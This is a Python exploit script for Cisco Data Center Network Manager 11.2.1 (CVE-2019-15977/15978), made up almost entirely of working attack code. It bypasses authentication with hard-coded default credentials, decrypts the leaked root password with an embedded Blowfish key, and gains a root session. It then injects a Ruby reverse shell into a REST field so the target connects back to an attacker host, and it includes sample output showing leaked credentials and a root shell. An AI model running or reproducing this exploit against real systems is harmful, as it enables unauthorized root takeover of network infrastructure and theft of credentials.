#!/usr/bin/python """ Cisco Data Center Network Manager LanFabricImpl createLanFabric Command Injection Remote Code Execution Vulnerability Tested on: Cisco DCNM 11.2.1 ISO Virtual Appliance for VMWare, KVM and Bare-metal servers - Release: 11.2(1) - Release Date: 05-Jun-2019 - FileName: dcnm-va.11.2.1.iso.zip - Size: 4473.54 MB (4690850167 bytes) - MD5 Checksum: b1bba467035a8b41c63802ce8666b7bb Bug 1: CVE-2019-15977 / ZDI-20-012 Bug 2: CVE-2019-15977 / ZDI-20-013 Bug 3: CVE-2019-15978 / ZDI-20-102 Example: ======== saturn:~ mr_me$ ./poc.py (+) usage: ./poc.py (+) eg: ./poc.py 192.168.100.123 192.168.100.59 (+) eg: ./poc.py 192.168.100.123 192.168.100.59:1337 saturn:~ mr_me$ ./poc.py 192.168.100.123 192.168.100.59:1337 (+) leaked user: root (+) leaked pass: Dcnmpass123 (+) leaked vfs path: temp18206a94b7c45072/content-85ba056e1faec012 (+) created a root session! (+) starting handler on port 1337 (+) connection from 192.168.100.123 (+) pop thy shell! id uid=0(root) gid=0(root) groups=0(root) uname -a Linux localhost 3.10.0-957.10.1.el7.x86_64 #1 SMP Mon Mar 18 15:06:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux """ import re import sys import random import socket import string import requests import telnetlib from threading import Thread from Crypto.Cipher import Blowfish from requests.auth import HTTPBasicAuth from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def handler(lp): print "(+) starting handler on port %d" % lp t = telnetlib.Telnet() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", lp)) s.listen(1) conn, addr = s.accept() print "(+) connection from %s" % addr[0] t.sock = conn print "(+) pop thy shell!" t.interact() def exec_code(t, lp, s): handlerthr = Thread(target=handler, args=(lp,)) handlerthr.start() c = { "JSESSIONID" : sessionid } r = requests.get("https://%s/%s" % (t, s), cookies=c, verify=False) def random_string(string_length = 8): """ generate a random string of fixed length """ letters = string.ascii_lowercase return ''.join(random.choice(letters) for i in range(string_length)) def decrypt(key): """ decrypt the leaked password """ cipher = Blowfish.new("jaas is the way", Blowfish.MODE_ECB) msg = cipher.decrypt(key.decode("hex")) return msg def we_can_leak(target): """ used to bypass auth """ global dbuser, dbpass, vfspth, jdbc, rootuser, rootpass dbuser = None dbpass = None vfspth = None rootuser = None rootpass = None jdbc = None uri = 'https://%s/serverinfo/HtmlAdaptor?action=displayServerInfos' % target c = HTTPBasicAuth('admin', 'nbv_12345') r = requests.get(uri, verify=False, auth=c) leaked = r.text match = re.search("db.password = #(.*)", leaked) if match: dbpass = match.group(1) match = re.search("db.user = (.*)", leaked) if match: dbuser = match.group(1) match = re.search("dcnmweb = (.*)", leaked) if match: vfspth = match.group(1) match = re.search("db.url = (.*)", leaked) if match: jdbc = match.group(1) match = re.search("server.sftp.password = #(.*)", leaked) if match: rootpass = match.group(1) match = re.search("server.sftp.username = (.*)", leaked) if match: rootuser = match.group(1) if dbuser and dbpass and vfspth and jdbc and rootuser and rootpass: return True return False def we_can_login(target, password): """ we have bypassed auth at this point by leaking the creds """ global sessionid, resttoken d = { "j_username" : rootuser, "j_password" : password, } uri = "https://%s/j_spring_security_check" % target r = requests.post(uri, data=d, verify=False, allow_redirects=False) if "Set-Cookie" in r.headers: match = re.search(r"JSESSIONID=(.{56}).*resttoken=(\d{1,3}:.{44});", r.headers["Set-Cookie"]) if match: sessionid = match.group(1) resttoken = match.group(2) return True return False def pop_a_root_shell(t, ls, lp): """ get dat shell! """ handlerthr = Thread(target=handler, args=(lp,)) handlerthr.start() uri = "https://%s/rest/fabrics" % t cmdi = "%s\";'`{ruby,-rsocket,-e'c=TCPSocket.new(\"%s\",\"%d\");" % (random_string(), ls, lp) cmdi += "while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print(io.read)}end'}`'\"" j = { "name" : cmdi, # this is needed to pass validate() on line 149 of the LanFabricImpl class "generalSetting" : { "asn" : "1337", "provisionOption" : "Manual" }, "provisionSetting" : { "dhcpSetting": { "primarySubnet" : "127.0.0.1", "primaryDNS" : "127.0.0.1", "secondaryDNS" : "127.0.0.1" }, "ldapSetting" : { "server" : "127.0.0.1" }, "amqpSetting" : { "server" : "127.0.0.1:1337" } } } c = { "resttoken": resttoken } r = requests.post(uri, json=j, cookies=c, verify=False) if r.status_code == 200 and ls in r.text: return True return False def main(): if len(sys.argv) != 3: print "(+) usage: %s " % sys.argv[0] print "(+) eg: %s 192.168.100.123 192.168.100.59" % sys.argv[0] print "(+) eg: %s 192.168.100.123 192.168.100.59:1337" % sys.argv[0] sys.exit(1) t = sys.argv[1] cb = sys.argv[2] if not ":" in cb: print "(+) using default connectback port 4444" ls = cb lp = 4444 else: if not cb.split(":")[1].isdigit(): print "(-) %s is not a port number!" % cb.split(":")[1] sys.exit(-1) ls = cb.split(":")[0] lp = int(cb.split(":")[1]) # stage 1 - leak the creds if we_can_leak(t): pwd = re.sub(r'[^\x20-\x7F]+','', decrypt(rootpass)) print "(+) leaked user: %s" % rootuser print "(+) leaked pass: %s" % pwd print "(+) leaked vfs path: %s" % "/".join(vfspth.split("/")[10:]) # stage 2 - get a valid sesson if we_can_login(t, pwd): print "(+) created a root session!" # stage 3 - get a root shell via cmdi pop_a_root_shell(t, ls, lp) if __name__ == "__main__": main()